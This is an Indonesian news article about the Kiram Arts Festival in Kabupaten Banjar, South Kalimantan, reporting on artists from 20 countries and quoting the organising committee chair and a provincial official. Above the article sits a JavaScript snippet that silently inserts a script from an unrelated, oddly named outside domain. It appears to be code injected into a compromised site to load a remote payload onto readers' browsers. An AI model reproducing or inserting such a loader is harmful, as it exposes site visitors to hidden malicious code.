(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Budaya

Kiram Arts Festival Diramaikan Seniman dari 20 Negara

KANALKALIMANTAN.COM, BANJARMASIN – Sejumlah seniman mancanegara dan lokal berdatangan meramaikan Kiram Arts Festival di Bukit Kiram, Kabupaten Banjar, Kalimantan Selatan (Kalsel), 8-12 November 2023.

Kedatangan mereka disambut Gubernur Kalsel diwakili Staf Ahli bidang Politik Hukum dan Pemerintahan Sulkan saat acara gala dinner di Gedung Mahligai Pancasila Banjarmasin, Selasa (8/11/2023) malam.

Penyelenggara Kiram Arts Festival adalah Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pendidikan dan Kebudayaan (Disdikbud) Kalsel.

Ketua Panitia Pelaksana Kiram Arts Festival, Yadi Muryadi mengatakan, ada 20 negara sudah mengkonfirmasi kehadiran pada festival tersebut. Diantaranya Malaysia, Filipina, Australia, Hongkong, Jepang, Italia, Ghana, India, Thailand, Switzerland, Belanda, Maroko, Inggris, Kamboja, Jerman, New Zealand, New Caledonia dan Bangladesh.

Kemudian disebutkan ada 15 performer nasional dari berbagai provinsi di Indonesia yang juga akan meramaikan festival. Termasuk para seniman yang berasal dari pulau Kalimantan.

“Peserta yang sudah hadir sampai saat ini kisaran 700 orang, biasanya deklamator terbaik Indonesia mereka ikut pada detik-detik terakhir,” kata Yadi Muryadi saat gala dinner.

Ketua Panitia Pelaksana Kiram Arts Festival, Yadi Muryadi. Foto: rizki

Masih menurut Yadi, Kiram Arts Festival menjadi ruang berbagai ragam seni yang lahir dan tumbuh di masyarakat. Dimana pada festival itu seniman-seniman lokal, nasional, hingga mancanegara akan tampil membawakan berbagai jenis kesenian.

“Yang tampil di event ini ada tari, teater, musik, seni lukis, ada juga pameran instalasi bambu yang dibuat kawan-kawan seniman,” kata Yadi.

Sebagai tuan rumah, Kalsel dikatakan juga akan menampilkan sejumlah pertunjukan seni seperti Arum Banua Etnika, Cacatuk Musik Perkusi, Posko La Bastari, Pusaka Saijaan, Sanggar Seni Nuansa, Madihinisme, Sinar Pusaka, Ading Bastari, dan Persembahan Istimewa Macan Halimau.

“Dengan adanya event ini kita bisa melihat kesenian kita, kesenian di luar Banua kita. Bagi seniman itu sendiri bisa saling bertukar wawasan,” pungkas Yadi.

Staf Ahli bidang Politik Hukum dan Pemerintahan, Sulkan mengatakan, pihaknya merasa bangga bisa menggelar festival kesenian yang dihadiri seniman nasional dan seniman dari berbagai belahan dunia.

“Saya menyambut gembira, selain diramaikan berbagai seniman dari Indonesia, kita juga dikunjungi oleh seniman dari berbagai negara dari Asia, Eropa, dan Afrika,” kata Sulkan.

Pemprov Kalsel ingin adanya Kiram Art Festival dapat memperkaya wawasan mengenai keragaman serta dapat menjadi ruang mengkerepresikan karya seni. (Kanalkalinantan.com/rizki)

Reporter : rizki
Editor: bie